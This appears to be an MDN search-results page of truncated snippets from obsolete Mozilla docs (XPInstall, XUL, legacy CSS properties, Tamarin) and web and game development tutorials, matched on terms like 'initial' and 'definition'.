here is an example manifest definition: var manifest = { settings: [ { name: "twitter", type: "group", label: "twitter", settings: [ { name: "username", type: "text", label: "username" }, { name: "password", type: "password", label: "password" } ] }, { name: "facebook", type: "group", label: "facebook", settings: [ { name: "username", type: ...
...jetpack.future.import("storage.settings"); this definition will result in a user interface with an input field for each setting defined above.
Mozilla Crypto FAQ - Archive of obsolete content
the initial release of ssl, s/mime, and general pki source code from iplanet e-commerce solutions includes some documentation on the format of the key and certificate database.
... however, in an advisory opinion issued in reference to the bernstein case, the bureau of export administration (bxa) has stated the following: "concerning the posting onto a mirror or archive site of already-posted source code, notification is required only for the initial posting." bxa and nsa have already been notified of the posting of encryption-related source code on the mozilla site, and in light of this opinion we have therefore decidednot to ask mirror sites to provide notification themselves.
Scripting - Archive of obsolete content
the window object has been initialized and can be used.
...the following code can be used by web content to determine whether it is running in prism: if ("platform" in window) { // prism-specific code goes here } see the nsiplatformglue idl definition file for details of the methods available to prism apps.
Table Layout Strategy - Archive of obsolete content
the overload of the initialize and balancecolumnwidths routines depends on the table style and is decided at runtime.
...inside this routine the corresponding table layout strategy is created and initialized (basictablelayoutstrategy::initialize).
Abc Assembler Tests - Archive of obsolete content
* * the initial developer of the original code is * adobe system incorporated.
... * portions created by the initial developer are copyright (c) 2009 * the initial developer.
Tamarin Acceptance Test Template - Archive of obsolete content
* * the initial developer of the original code is * adobe system incorporated.
... * portions created by the initial developer are copyright (c) 2005-2010 * the initial developer.
Tamarin build documentation - Archive of obsolete content
note the "\obj9" directory under \platform\win32 for the win32 builds and "\x64" directory under \platform\win32 for 64-bit builds; this looks a little odd but preserves previous behavior as much as possible to avoid initial disruption from the shell rename fix.
... the configurations in this initial version cover 32- and 64-bit builds for mac os with the gcc 4.0 toolchain (installed with xcode 3.x).
URIs and URLs - Archive of obsolete content
nsiuri and nsiurl in a strict sense necko does only know urls, uris by the above definition are much too generic to be properly represented inside a library.
... there are however two interfaces which loosely relate to the distinction between uri and url as per the above definition: nsiuri and nsiurl.
Venkman Internals - Archive of obsolete content
initdebugger().
... scriptmanager in initdebugger() the previous loaded scripts are passed to an onscriptcreated() method which binds them to a scriptmanager.
Example Sticky Notes - Archive of obsolete content
all namespaces above are supported by default and they do not require any additional downloads or initializations.
...the result of this code * evaluation (if any) will be used as initial value.
Creating XPI Installer Modules - Archive of obsolete content
for barley, that installation script should read as follows: // initinstall(name + version, name, version); var err = initinstall("barley v", "barley", ""); logcomment("initinstall: " + err); addfile("barley grain", // displayname from contents.rdf "barley.jar", // jar source getfolder("chrome"), // target folder ""); // target subdir // registerchrome(type, location, source) registerchrome(package | delaye...
...the archive, named barley.xpi, should contain the following two files: barley.jar install.js this zip file, when opened from mozilla using file -> open, will initialize its own installation and display a message like the following: when you click ok, mozilla installs the new package.
Trigger Scripts and Install Scripts - Archive of obsolete content
trigger scripts and install scripts trigger scripts are simple installations that can be initiated from event handlers and other javascript code on a web page.
... install scripts use the install, file, installversion and platform-specific installation object methods to initialize, queue, manage, and perform the installation of one or more software packages.
Methods - Archive of obsolete content
init initialize an installversion object.
... tostring converts an installversion init to a string.
addDirectory - Archive of obsolete content
a relative pathname is appended to the registry name of the package as specified by the package parameter to the initinstall method.this parameter can also be null, in which case the xpisourcepath parameter is used as a relative pathname.note that the registry pathname is not the location of the software on the computer; it is the location of information about the software inside the client version registry.
...for variants of this method without a version argument the value from initinstall will be used.
patch - Archive of obsolete content
typically, relative pathnames are relative to the main pathname specified in the initinstall method.
...for variants or this method without a version argument the value from initinstall will be used.
refreshPlugins - Archive of obsolete content
note that refreshplugins must be called after the performinstall method that initiates the actual installation.
... example // install dll into plugins // install xpt into components var xpisrc = "npmcult3dp.dll"; var xpisrc2 = "nsic3dpscriptablepeer.xpt"; initinstall( "cult3d plugin file", "@cycore.com/cult3d;version=1.0.0", "1.0.0"); setpackagefolder(getfolder("plugins")); addfile(xpisrc); addfile("",xpisrc2,getfolder("components"),""); var err = getlasterror(); if (err == success) { err = performinstall(); if (err == success) refreshplugins(); } else cancelinstall(err); ...
Return Codes - Archive of obsolete content
bad_package_name -200 a problem occurred with the package name supplied to initinstall unexpected_error -201 an unrecognized error occurred.
...cant_read_archive -207 xpi package cannot be read invalid_arguments -208 bad parameters to a function illegal_relative_path -209 illegal relative path user_cancelled -210 user clicked cancel on install dialog install_not_started -211 a problem occurred with the parameters to initinstall, or initinstall was not called first silent_mode_denied -212 the silent installation privilege has not been granted.
XPInstall API reference - Archive of obsolete content
objects install properties methods adddirectory addfile alert cancelinstall confirm deleteregisteredfile execute gestalt getcomponentfolder getfolder getlasterror getwinprofile getwinregistry initinstall loadresources logcomment patch performinstall refreshplugins registerchrome reseterror setpackagefolder installtrigger no properties methods compareversion enabled getversion install installchrome startsoftwareupdate installversion propertie...
...s methods compareto init tostring file no properties methods copy dircreate dirgetparent dirremove dirrename diskspaceavailable execute exists isdirectory isfile macalias moddate moddatechanged move remove rename size windowsgetshortname windowsregisterserver windowsshortcut winprofile no properties methods getstring writestring winreg no properties methods createkey deletekey deletevalue enumkeys enumvaluenames getvalue getvaluenumber getva...
Installer Script - Archive of obsolete content
var err = initinstall("netscape seamonkey", "browser", "6.0.0.2000110807"); 21.
... logcomment("initinstall: " + err); 22.
A XUL Bestiary - Archive of obsolete content
the differences here are significant: xul is the universe of elements, attributes, syntax, rules, and relationships, while xptoolkit is really the finite set of interface-specific elements created in xul.
...xpidl, the cross-platform interface definition language, is a language in which these interfaces insisted upon by xpcom can be described.
Building accessible custom components in XUL - Archive of obsolete content
you might initially think of using the css border property, but that will add width and height to the focused cell.
...when the user presses enter, we replace the currently focused xul label element with a xul textbox element, copy the initial value over to the textbox element, and call its focus and select methods to set focus to the textbox and select the entire value.
How to implement a custom XUL query processor component - Archive of obsolete content
processor", classid: components.id("{282cc4ea-a49c-44fc-81f4-1f03cbb7825f}"), contractid: "@mozilla.org/xul/xul-query-processor;1?name=simpledata", getdatasource: function(adatasources, arootnode, aistrusted, abuilder, ashoulddelaybuilding) { // todo: parse the adatasources variable // for now, ignore everything and let's just signal that we have data return this._data; }, initializeforbuilding: function(adatasource, abuilder, arootnode) { // perform any initialization that can be delayed until the content builder // is ready for us to start }, done: function() { // called when the builder is destroyed to clean up state }, compilequery: function(abuilder, aquery, arefvariable, amembervariable) { // outputs a query object.
...you could easily extend this sample to handle multiple datasources by checking the datasources value in getdatasource and initializeforbuilding.
Introduction to XUL - Archive of obsolete content
you can load as many style sheets as you wish using repeated processing directives, although you should always make sure to load the xul.css file initially.
... <html:script type="application/javascript"> // dialog initialization code function initwindow() { var checkbox = document.getelementbyid("remember"); if (checkbox) checkbox.checked = true; } </html:script> javascript can be referenced as in html documents: as onclick handlers and the like.
Extensions - Archive of obsolete content
function init() { var contextmenu = document.getelementbyid("contentareacontextmenu"); if (contextmenu) contextmenu.addeventlistener("popupshowing", thumbnailsshowhideitems, false); } function thumbnailsshowhideitems(event) { var show = document.getelementbyid("thumbnail-show"); show.hidden = (document.popupnode.localname != "img"); } the init function should be called within the handler for the...
...specifically, this object is initialized with a set of properties that indiciate the type of object that was the target of the context menu.
Menus - Archive of obsolete content
for example, to have a tools menu that is shared between all windows, just create a menu in the overlay, and include it in each window with a single line: <menu id="menu-tools"/> the overlay should have a menu with the same id 'menu-tools' containing the complete definition of the menu.
...for example, to have an item initially hidden in a window: function initmenus() { var item = document.getelementbyid("menu-file-open"); item.hidden = true; } the hidden property is set to true to hide the menu with the id 'menu-fileopen'.
PopupEvents - Archive of obsolete content
in this example, a label within a panel is initialized with the current time.
...a better way is to just reinitialize the menu or popup in the popupshowing event.
Sorting and filtering a custom tree view - Archive of obsolete content
sort.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <!doctype window> <window title="sorting a custom tree view example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="init()"> <script type="application/javascript" src="sort.js"/> <hbox align="center" id="search-box"> <label accesskey="f" control="filter">filter</label> <textbox id="filter" oninput="inputfilter(event)" flex="1"/> <button id="clearfilter" oncommand="clearfilter()" label="clear" accesskey="c" disabled="true"/> </hbox> <tree id="tree" flex="1" persist="sortdirection sortresource" sortdire...
...dth ordinal hidden" onclick="sort(this)" class="sortdirectionindicator"/> <splitter class="tree-splitter"/> <treecol id="weapon" label="weapon" flex="1" persist="width ordinal hidden" onclick="sort(this)" class="sortdirectionindicator"/> </treecols> <treechildren id="tree-children"/> </tree> </window> sort.js var table = null; var data = null; var tree; var filtertext = ""; function init() { tree = document.getelementbyid("tree"); loadtable(); } //this function is called every time the tree is sorted, filtered, or reloaded function loadtable() { //remember scroll position.
Sorting Results - Archive of obsolete content
there are two additional attributes used for sorting, which you may set on a column to specify the initial sort.
...the sortdirection attribute may be used to specify the initial sort direction for a column.
Document Object Model - Archive of obsolete content
first, we need to make them initially invisible.
... we'll change the progress meter so that its initially hidden.
Element Positioning - Archive of obsolete content
the following example demonstrates this: example 2 : source view <window orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox> <button label="yes" flex="1"/> <button label="no"/> <button label="i really don't know one way or the other"/> </hbox> </window> the window will initially appear like in the image earlier.
...the width of the box will be set to the initial total width of all three buttons (around 430 pixels in the image).
Keyboard Shortcuts - Archive of obsolete content
this element is designed for holding a set of key elements, which serves to group all of the key definitions in one place in a file.
... one additional feature of key definitions is that you can disable them easily.
Localization - Archive of obsolete content
dtd files entities are declared in document type definition (dtd) files.
... <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="findfile.css" type="text/css"?> <!doctype window system "chrome://findfile/locale/findfile.dtd"> <window id="findfile-window" title="&findwindow.title;" persist="screenx screeny width height" orient="horizontal" onload="initsearchlist()" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="findfile.js"/> <popupset> <menupopup id="editpopup"> <menuitem label="&cutcmd.label;" accesskey="&cutcmd.accesskey;"/> <menuitem label="&copycmd.label;" accesskey="&copycmd.accesskey;"/> <menuitem label="&pastecmd.label;" accesskey="&pastecmd.accesskey;" disabled="true"/> </me...
Modifying the Default Skin - Archive of obsolete content
the file classic.jar contains the skin definitions.
... the global directory within this archive contains the main style definitions for how to display the various xul elements.
Numeric Controls - Archive of obsolete content
the maximum value defaults to the special value infinity which means that there is no limit.
...<datepicker value="2004-03-24"/> <timepicker value="15:30:00"/> the value attribute is used to set the default value; if this attribute is omitted, the field will be initially set to the current date or time.
XUL accessibility guidelines - Archive of obsolete content
initial dialog focus the initial focus in a xul dialog (i.e., the focus when the dialog is first opened) should always be on a specific control, not on the dialog itself.
... error recovery alerts are presented when the user initiates an error.
timepicker - Archive of obsolete content
to specify the initial, use the value attribute set to a value of either the form hh:mm:ss or hh:mm.
... value type: string the initial value of the timepicker in either the form hh:mm:ss or hh:mm.
Debugging a XULRunner Application - Archive of obsolete content
add the following code to your xul app: components.utils.import('resource://gre/modules/devtools/dbg-server.jsm'); if (!debuggerserver.initialized) { debuggerserver.init(); // don't specify a window type parameter below if "navigator:browser" // is suitable for your app.
... debuggerserver.addbrowseractors("myxulrunnerappwindowtype"); } debuggerserver.openlistener(6000); for xulrunner version 37+ the code to enable the debugger has changed: components.utils.import('resource://gre/modules/devtools/dbg-server.jsm'); if (!debuggerserver.initialized) { debuggerserver.init(); debuggerserver.addbrowseractors(); debuggerserver.allowchromeprocess = true; } let dbglistener=debuggerserver.createlistener(); dbglistener.portorpath=6000; dbglistener.open(); add the following to your prefs.js: (in recent ffox, edit about:config instead) pref("devtools.debugger.remote-enabled", true); in firefox, go to tools > web developer > connect...
xbDesignMode.js - Archive of obsolete content
* * the initial developer of the original code is * netscape communications corporation.
... * portions created by the initial developer are copyright (c) 2003 * the initial developer.
Mozilla release FAQ - Archive of obsolete content
for this particular example, you would want to go look at relevant topics stuart cheshire's discussion on latency versus bandwidth internet -- under the covers (by me) the rfc for http the w3's html 4.0 definition building mozilla i get x error when trying to build mozilla - what's wrong?
...much of the old code cannot be released due to legal concerns, and at the time of mozilla's initial release, that code was removed from the tree.
NPN_Version - Archive of obsolete content
this could be part of the initialization process.
... see also npn_useragent() np_initialize() ...
NPStream - Archive of obsolete content
description the browser allocates and initializes the npstream object and passes it to the plug-in in as a parameter to npp_newstream or npn_newstream.
...streams produced by the browser: the browser creates the npstream object and passes it to the plug-in initially as a parameter to npp_newstream.
Threats - Archive of obsolete content
a threat event is an event or situation initiated or caused by a threat source that has the potential for causing adverse impact.
... link: red hat certificate system common criteria certification 8.1: deployment, planning, and installation original document information author(s): joint task force transformation initiative title: national institute of standards and technology (nist) special publication 800-30 revision 1, guide for conducting risk assessments last updated date: september 2012 copyright information: this document is not subject to copyright.
Using workers in extensions - Archive of obsolete content
this is used to initialize the worker, and to change which stock is being monitored.
... lines 17-20 change the definition of the worker's onmessage handler so that when the worker calls back to the main thread, the main thread's value of this is correctly the main thread's object instead of the worker's.
-moz-binding - Archive of obsolete content
syntax /* <url> value */ -moz-binding: url(http://www.example.org/xbl/htmlbindings.xml#checkbox); /* global values */ -moz-binding: inherited; -moz-binding: initial; -moz-binding: unset; values <url> the url for the xbl binding (including the fragment identifier).
... formal definition initial valuenoneapplies toall elements except generated content or pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <url> | none examples .exampleone { -moz-binding: url(http://www.example.org/xbl/htmlbindings.xml#radiobutton); } specifications not part of any standard.
-moz-border-bottom-colors - Archive of obsolete content
/* single <color> value */ -moz-border-bottom-colors: #f0f0f0; /* multiple <color> values */ -moz-border-bottom-colors: #f0f0f0 #a0a0a0 #505050 #000000; /* global values */ -moz-border-bottom-colors: inherit; -moz-border-bottom-colors: initial; -moz-border-bottom-colors: unset; when an element has a border that is larger than a single css pixel, each line of pixels uses the next color specified in this property, from the outside in.
... initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete it does not apply if border-style is dashed or dotted.
-moz-border-left-colors - Archive of obsolete content
/* single <color> value */ -moz-border-left-colors: #f0f0f0; /* multiple <color> values */ -moz-border-left-colors: #f0f0f0 #a0a0a0 #505050 #000000; /* global values */ -moz-border-left-colors: inherit; -moz-border-left-colors: initial; -moz-border-left-colors: unset; when an element has a border that is larger than a single css pixel, each line of pixels uses the next color specified in this property, from the outside in.
... initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete it does not apply if border-style is dashed or dotted.
-moz-border-right-colors - Archive of obsolete content
/* single <color> value */ -moz-border-right-colors: #f0f0f0; /* multiple <color> values */ -moz-border-right-colors: #f0f0f0 #a0a0a0 #505050 #000000; /* global values */ -moz-border-right-colors: inherit; -moz-border-right-colors: initial; -moz-border-right-colors: unset; when an element has a border that is larger than a single css pixel, each line of pixels uses the next color specified in this property, from the outside in.
... initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete it does not apply if border-style is dashed or dotted.
-moz-border-top-colors - Archive of obsolete content
/* single <color> value */ -moz-border-top-colors: #f0f0f0; /* multiple <color> values */ -moz-border-top-colors: #f0f0f0 #a0a0a0 #505050 #000000; /* global values */ -moz-border-top-colors: inherit; -moz-border-top-colors: initial; -moz-border-top-colors: unset; when an element has a border that is larger than a single css pixel, each line of pixels uses the next color specified in this property, from the outside in.
... initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete it does not apply if border-style is dashed or dotted.
-moz-stack-sizing - Archive of obsolete content
/* keyword values */ -moz-stack-sizing: auto; -moz-stack-sizing: ignore; /* global values */ -moz-stack-sizing: inherit; -moz-stack-sizing: initial; -moz-stack-sizing: unset; if you wish to prevent the stack from resizing automatically to accommodate its children, you can set -moz-stack-sizing to ignore on the child element.
...(the problem does not affect children moved above or to the left of the stack.) initial valuestretch-to-fitapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values stretch-to-fit the child will influence the stack's size.
-moz-text-blink - Archive of obsolete content
initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none produces no blinking.
...newer versions removed its definition.
-ms-content-zoom-snap-points - Archive of obsolete content
initial valuesnapinterval(0%, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values snapinterval( <percentage>, <percentage> ) specifies where the snap-points will be placed.
... the second percentage specifies the distance between subsequent snap-points, both zoomed in and zoomed out from the initial snap-point.
-ms-content-zooming - Archive of obsolete content
initial valuezoom for the top level element, none for all other elementsapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none the initial value of all elements except the top-level element.
... zoom the initial value of the top-level element.
-ms-hyphenate-limit-lines - Archive of obsolete content
initial valueno-limitapplies toblock container elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values no-limit indicates that hyphenation is not limited based on the number of consecutive hyphenated lines.
... in the flow above the consecutive hyphenated lines limit would be an infinitely large positive number.
-ms-scroll-rails - Archive of obsolete content
initial valuerailedapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none the content moves exactly with the user's finger.
... railed initial value.
-ms-scroll-snap-points-x - Archive of obsolete content
initial valuesnapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values note: a <length-percentage> is a value that can be either a <length> or a <percentaqe>.
... the second value specifies the distance between subsequent snap-points both to the left and the right of the initial snap-point.
-ms-scroll-snap-points-y - Archive of obsolete content
initial valuesnapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values note: a <length-percentage> is a value that can be either a <length> or a <percentaqe>.
... the second value specifies the distance between subsequent snap-points both above and below the initial snap-point.
-ms-touch-select - Archive of obsolete content
initial valuegrippersapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values grippers the grippers are always on.
...this is the initial value.
Generator comprehensions - Archive of obsolete content
when the input to the comprehension is itself a small array the overhead involved is insignificant — but when the input is a large array or an expensive (or indeed infinite) generator the creation of a new array can be problematic.
... var numbers = [1, 2, 3]; // generator function (function*() { for (let i of numbers) { if (i < 3) { yield i * 1; } } })(); // generator comprehension (for (i of numbers) if (i < 3) i); // result: both return a generator which yields [1, 2] specifications generator comprehensions were initially in the ecmascript 2015 draft, but got removed in revision 27 (august 2014).
Error.stackTraceLimit - Archive of obsolete content
syntax error.stacktracelimit remarks you can set the stacktracelimit property to any positive value between 0 and infinity.
...if the stacktracelimit is set to infinity, the entire stack is shown.
ECMAScript 2015 support in Mozilla - Archive of obsolete content
(firefox 37) new math functions math.imul() (firefox 20) math.clz32() (firefox 31) math.fround() (firefox 26) math.log10(), math.log2(), math.log1p(), math.expm1(), math.cosh(), math.sinh(), math.tanh(), math.acosh(), math.asinh(), math.atanh(), math.hypot(), math.trunc(), math.sign(), math.cbrt() (firefox 25) additions to the number object number.isnan() (firefox 16) number.isfinite() (firefox 16) number.isinteger() (firefox 16) number.parseint() (firefox 25) number.parsefloat() (firefox 25) number.epsilon (firefox 25) number.max_safe_integer, number.min_safe_integer (firefox 31) number.issafeinteger() (firefox 32) additions to the object object object.prototype.__proto__ has been standardized object.is() (firefox 22) object.setprototypeof() (firefox 31) objec...
... parameters without defaults after default parameters (firefox 26) destructured parameters with default value assignment (firefox 41) arrow functions (firefox 22) generator function (firefox 26) yield (firefox 26) yield* (firefox 27) arguments[@@iterator] (firefox 46) other features binary and octal numeric literals (firefox 25) template strings (firefox 34) object initializer: shorthand property names (firefox 33) object initializer: computed property names (firefox 34) object initializer: shorthand method names (firefox 34) ...
Sharp variables in JavaScript - Archive of obsolete content
a sharp variable is a syntax in object initializers that allows serialization of objects that have cyclic references or multiple references to the same object.
...this acts as a reference to initial variable.
Reference - Archive of obsolete content
we could also put in layman definitions there for js constructs like functions and variables.
...the confusion sets in when you consider that object is also a constructor function, therefore an instance of function, and, furthermore, an instance of object; this is where the recursion is introduced, and why you can infinitely do function.constructor; //function function.constructor.constructor; //function .
XForms Switch Module - Archive of obsolete content
attributes special selected - determines the initial selected state of the case.
...if no case is initially selected, the first case inside the switch becomes selected and visible.
Using the Right Markup to Invoke Plugins - Archive of obsolete content
the configuration parameters for the applet, including the class which contains the initial entry point (animator.class, referenced by the "code" param element), are specified in multiple param elements.
... link: http://devedge-temp.mozilla.org/view.../index_en.html references general -- specifications html 4.01 specification xhtml 1.0 specification object element html 4.01 specification on object element embed element plugin api reference on embed element on devedge-temp java html 4.01 applet definition (deprecated) java plugin homepage sun documentation on object, embed, and applet and different plugin versions sun demonstration of web pages using applet element sun demonstration of web pages using object/embed elements bugs and future directions in netscape and mozilla windows media in netscape netscape 7.1 and the windows media activex control bug 180378 bug 167601 bug 180411 ...
Windows Media in Netscape - Archive of obsolete content
in netscape 7.1, the codebase attribute of the object element cannot be used to initiate a digitally signed download of the windows media control, if it is not present on the machine.
...detecting successful creation of the control often, usage of activex controls in ie involve the use of the object element along with a codebase attribute that initiates a download of the component if it is missing from the machine running the web page.
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
an interface definition (.idl) file describing the plugin scriptable interface should be added to the project (see example 1).
...classid) {return ns_error_not_implemented;} ns_imethod getclassidnoalloc(nscid *aclassidnoalloc) {return ns_error_not_implemented;} }; class nsscriptablepeer : public nsitestplugin, public nsclassinfomixin { public: nsscriptablepeer(); ~nsscriptablepeer(); ns_decl_isupports ns_decl_nsitestplugin }; nsscriptablepeer::nsscriptablepeer() { ns_init_isupports(); } nsscriptablepeer::~nsscriptablepeer() { } // notice that we expose our claim to implement nsiclassinfo.
XQuery - Archive of obsolete content
it offers powerful and yet intuitive searching based on xpath, has sql-like syntax for the query portion, and has scripting features such as function and variable definitions, xml-inclusion, etc.
...berkeley db xml was the initial choice by the extension developer for its support across many languages (c++, java, python, perl, php, etc.) (besides its also being open source), but now some problems may exist with bdbxml (unlike saxon).
Anatomy of a video game - Game development
it is passed * the domhighrestimestamp for the time it represents (which, again, is always * last update + mygame.ticklength unless a pause feature is added, etc.) * * setinitialstate() performs whatever tasks are leftover before the mainloop must run.
... mygame.ticklength = 50; // this sets your simulation to run at 20hz (50ms) setinitialstate(); main(performance.now()); // start the cycle })(); another alternative is to simply do certain things less often.
Game distribution - Game development
the biggest desktop store for games is definitely steam — indie developers can get on steam via the steam direct program.
... after you've covered steam, there's plenty of buzz around initiatives like humble bundle where the most popular indie games get presented to a broader audience.
Game promotion - Game development
website and blog you should definitely create your own website containing all the information about your games, so people can see what you've worked on.
... if you want to learn more about the etiquette of contacting the press you should definitely check out how to contact press - a great guide from pixel prospector, and the video game journaliser site curated by them for the list of sites to contact.
2D collision detection - Game development
green means collision, blue means no collision.</p> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crafty/0.5.4/crafty-min.js"></script> crafty.init(200, 200); var dim1 = {x: 5, y: 5, w: 50, h: 50} var dim2 = {x: 20, y: 10, w: 60, h: 40} var rect1 = crafty.e("2d, canvas, color").attr(dim1).color("red"); var rect2 = crafty.e("2d, canvas, color, keyboard, fourway").fourway(2).attr(dim2).color("blue"); rect2.bind("enterframe", function () { if (rect1.x < rect2.x + rect2.w && rect1.x + rect1.w > rect2.x && rect1.y < rect2.
...green means collision, blue means no collision.</p> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crafty/0.5.4/crafty-min.js"></script> #cr-stage { position: static !important; height: 200px !important; } crafty.init(200, 200); var dim1 = {x: 5, y: 5} var dim2 = {x: 20, y: 20} crafty.c("circle", { circle: function(radius, color) { this.radius = radius; this.w = this.h = radius * 2; this.color = color || "#000000"; this.bind("move", crafty.drawmanager.drawall) return this; }, draw: function() { var ctx = crafty.canvas.context; ctx.save(); ...
Mobile touch controls - Game development
overview: control mechanisms next the future of mobile gaming is definitely web, and many developers choose the mobile first approach in their game development process — in the modern world, this generally also involves implementing touch controls.
...the initialization of virtual joystick looks like this: this.pad = this.game.plugins.add(phaser.virtualjoystick); this.stick = this.pad.addstick(30, 30, 80, 'generic'); in the create() function of the game state we're creating a virtual pad and a generic stick that has four directional virtual buttons by default.
Unconventional controls - Game development
this can be accomplished using a small library created by daniel rapp — it can be as simple as calculating the difference between two frequencies: doppler.init(function(bandwidth) { var diff = bandwidth.left - bandwidth.right; }); the diff would be the difference between the initial position of the hand and the final one.
... this approach won't give us the full flexibility of using a gamepad, or even leap motion, but it's definitely an interesting, unconventional alternative.
Collision detection - Game development
in the part of the code where we initialize the bricks, let's add a status property to each brick object.
... next steps we are definitely getting there now; let's move on!
Move the ball - Game development
the draw() function will be executed within setinterval every 10 miliseconds: function draw() { // drawing code } setinterval(draw, 10); thanks to the infinite nature of setinterval the draw() function will be called every 10 milliseconds forever, or until we stop it.
...add the following below your x and y variable definitions: var dx = 2; var dy = -2; the last thing to do is to update x and y with our dx and dy variable on every frame, so the ball will be painted in the new position on every update.
Paddle and keyboard controls - Game development
the ball is bouncing off the walls freely and you can watch it indefinitely, but currently there's no interactivity.
... the ability to move the paddle left and right pressed buttons can be defined and initialized with boolean variables like in the example.
Buttons - Game development
add these lines below your other variable definitions: var playing = false; var startbutton; loading the button spritesheet we can load the button spritesheet the same way we loaded the ball's wobble animation.
... now we need to define the startgame() function referenced in the code above: function startgame() { startbutton.destroy(); ball.body.velocity.set(150, -150); playing = true; } when the button is pressed, we remove the button, sets the ball's initial velocity and set the playing variable to true.
2D breakout game using Phaser - Game development
lesson details all the lessons — and the different versions of the mdn breakout game we are building together — are available on github: initialize the framework scaling load the assets and print them on screen move the ball physics bounce off the walls player paddle and controls game over build the brickfield collision detection the score win the game extra lives animations and tweens buttons randomizing gameplay as a note on learning paths — starting with pure javascript is the best way to get a solid knowledge of ...
...head to the first part of the series — initialize the framework.
Visual typescript game engine - Game development
*/ private addson: addson = [ { name: "cache", enabled: true, scriptpath: "externals/cacheinit.ts", }, { name: "hackertimer", enabled: true, scriptpath: "externals/hack-timer.js", }, { name: "dragging", enabled: true, scriptpath: "externals/drag.ts", }, ]; /** * @description this is main coordinary types of positions * can be "diametric-fullscreen" or "frame".
... - a command for killing all node.js process for window users : taskkill /im node.exe /f networking multimedia communication: websocketserver running on node.js text-based protocol sip (session initiation protocol) used for signalling and controlling multimedia sessions.
CSS values and units - Learn web development
which style you use is up to you, but separating out non-transparent and transparent color definitions to use the different functions gives (very) slightly better browser support and can act as a visual indicator of where transparent colors are being defined in your code.
... the key thing to remember is that each property has a defined list of allowed values, and each value has a definition explaining what the sub-values are.
Grids - Learn web development
change your track listing to the following definition, creating three 1fr tracks.
...the fr unit distributes space in proportion, therefore you can give different positive values to your tracks, for example if you change the definition like so: .container { display: grid; grid-template-columns: 2fr 1fr 1fr; } the first track now gets 2fr of the available space and the other two tracks get 1fr, making the first track larger.
Beginner's guide to media queries - Learn web development
the viewport meta tag if you look at the html source in the above example, you'll see the following element included in the head of the document: <meta name="viewport" content="width=device-width,initial-scale=1"> this is the viewport meta tag — it exists as a way control how mobile browsers render content.
... to remedy this, including a viewport meta tag like the one above on your page tells the browser "don't render the content with a 960 pixel viewport — render it using the real device width instead, and set a default initial scale level for better consistency." the media queries will then kick in as expected.
Supporting older browsers - Learn web development
this means that there is a definition for what happens if a floated item, for example, is also a grid item using css grid layout.
... the ie10 and 11 prefixed version of grid the css grid specification was initially prototyped in internet explorer 10; this means that while ie10 and ie11 do not have modern grid support, they do have a version of grid layout that is very usable, although different to the modern specification documented on this site.
Fundamental text and font styling - Learn web development
the list of actual web safe fonts will change as operating systems evolve, but it's reasonable to consider the following fonts web safe, at least for now (many of them have been popularized thanks to the microsoft core fonts for the web initiative in the late 90s and early 2000s): name generic type notes arial sans-serif it's often considered best practice to also add helvetica as a preferred alternative to arial as, although their font faces are almost identical, helvetica is considered to have a nicer shape, even if arial is more broadly available.
... the five names are defined as follows: term definition example serif fonts that have serifs (the flourishes and other small details you see at the ends of the strokes in some typefaces) my big red elephant sans-serif fonts that don't have serifs.
How do I use GitHub Pages? - Learn web development
the other thing you need to do before moving on is to initialise your code directory as a git repository.
...here's what you'd type if you've put your website in a directory called test-site on your desktop: cd desktop/test-site when the command line is pointing inside your website directory, type the following command, which tells the git tool to turn the directory into a git repository: git init an aside on command line interfaces the best way to upload your code to github is via the command line — this is a window where you type in commands to do things like create files and run programs, rather than clicking inside a user interface.
What is accessibility? - Learn web development
accessibility champions since 1999, the w3c has operated a working group called the web accessibility initiative (wai) promoting accessibility through guidelines, support material, and international resources.
... more details please refer to: wikipedia article about accessibility wai (w3c's web accessibility initiative) next steps accessibility can impact both a website's design and technical structure.
Client-side form validation - Learn web development
client-side validation is an initial check and an important feature of good user experience; by catching invalid data on the client-side, the user can fix it straight away.
... // there are fewer ways to pick a dom node with legacy browsers const form = document.getelementsbytagname('form')[0]; const email = document.getelementbyid('mail'); // the following is a trick to reach the next sibling element node in the dom // this is dangerous because you can easily build an infinite loop.
Publishing your website - Learn web development
sometimes you get what you pay for, but sometimes these resources are good enough for your initial experiments.
... check the "initialize this repository with a readme" box.
Document and website structure - Learn web development
this is the one part of the website that definitely will vary from page to page!
...for now, these are the main definitions that you should try to understand: <main> is for content unique to this page.
Getting started with HTML - Learn web development
while these definitions are more accurate and less ambiguous than their predecessors, the new definitions are a lot more complicated to understand than block and inline.
...initially the page looks like this: in this exercise, you can edit the code locally on your computer, as described previously, or you can edit it in the sample window below (the editable sample window represents just the contents of the <body> element, in this case).
HTML text fundamentals - Learn web development
if it starts to become fizzy, you should definitely discard it.
